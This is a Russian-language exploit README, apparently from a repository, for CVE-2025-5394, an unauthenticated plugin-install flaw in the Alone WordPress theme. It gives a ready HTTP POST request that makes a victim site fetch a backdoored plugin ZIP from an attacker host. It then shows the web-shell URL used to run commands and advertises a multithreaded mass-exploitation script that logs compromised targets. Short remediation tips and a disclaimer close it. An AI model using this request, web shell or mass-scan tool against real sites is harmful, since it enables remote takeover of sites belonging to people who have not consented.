CVE-2025-5394 – Тема Alone для WordPress <= 7.8.3 - Неаутентифицированная произвольная загрузка файлов через установку плагина

🔥 Сводка об уязвимости
Тема WordPress Alone версий <= 7.8.3 подвержена уязвимости неаутентифицированной произвольной загрузки файлов. Эта ошибка позволяет неаутентифицированным злоумышленникам загружать и устанавливать произвольные ZIP-файлы плагинов с удалённых URL-адресов через незащищённую AJAX-конечную точку, что приводит к удалённому выполнению кода (RCE) путём развёртывания плагинов с бэкдорами.

Эта уязвимость возникает из-за функции beplus_import_pack_install_plugin, которая доступна публично через wp_ajax_nopriv_ без каких-либо проверок аутентификации или прав. Функция устанавливает и активирует плагин по URL-адресу, указанному пользователем.

🔍 Затронутая тема

• Название темы: Alone – Charity Multipurpose Non-profit WordPress Theme
• Затронутая версия: <= 7.8.3
• Тип уязвимости: Неаутентифицированная произвольная загрузка файлов → RCE
• CVE ID: CVE-2025-5394
• Оценка CVSS: 9.8 (критическая)
• Воздействие: Полное удалённое выполнение кода (RCE) и полная компрометация сайта

🧪 Возможности эксплойта

• 🔓 Аутентификация не требуется
• 📦 Загружает ZIP-файл вредоносного плагина напрямую с удалённого URL
• 🚀 Автоматически устанавливает и активирует плагин
• 🐚 Поддерживается доставка веб-шелла через встроенный PHP в плагине
• ✅ AJAX-конечная точка доступна неаутентифицированным пользователям: /wp-admin/admin-ajax.php?action=beplus_import_pack_install_plugin

🧠 Исследователь

• Автор: Thai An

🚀 Использование

1. Подготовьте ZIP-файл вредоносного плагина, размещённый на контролируемом вами сервере.

   • Он должен содержать валидный заголовок плагина (Plugin Name:) и PHP-бэкдор (например, bk.php)

2. Отправьте следующий POST-запрос:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: victim.com
   Content-Type: application/x-www-form-urlencoded
   
   action=beplus_import_pack_install_plugin&
   data[plugin_slug]=hello-dolly&
   data[plugin_source]=https://attacker.com/hello-dolly.zip
   

3. В случае успеха плагин будет установлен и активирован. Доступ к шеллу:

   https://victim.com/wp-content/plugins/hello-dolly/bk.php?cmd=id
   

🧰 Скрипт массовой эксплуатации Этот репозиторий включает инструмент массовой эксплуатации со следующими возможностями:

• Многопоточная обработка
• Автоматическое добавление префикса HTTPS (если отсутствует)
• Живое логирование успешно атакованных целей в result.txt

Подробности см. в mass_beplus_exploit.py.

🛠 Рекомендации по исправлению

• Авторам темы следует удалить или защитить хук wp_ajax_nopriv_beplus_import_pack_install_plugin.
• Внедрить проверки аутентификации/прав (например, current_user_can('install_plugins'))
• Проверять и ограничивать источники плагинов.
• Использовать межсетевой экран для веб-приложений (WAF) для блокировки несанкционированного доступа к admin-ajax.

🔒 Отказ от ответственности:
Эта информация предоставлена исключительно в образовательных целях и для авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам или их использование является незаконным и неэтичным.

📚 Ссылка:

• Консультация Wordfence – CVE-2025-5394

CVE: CVE-2025-5394
Исследователь: Thai An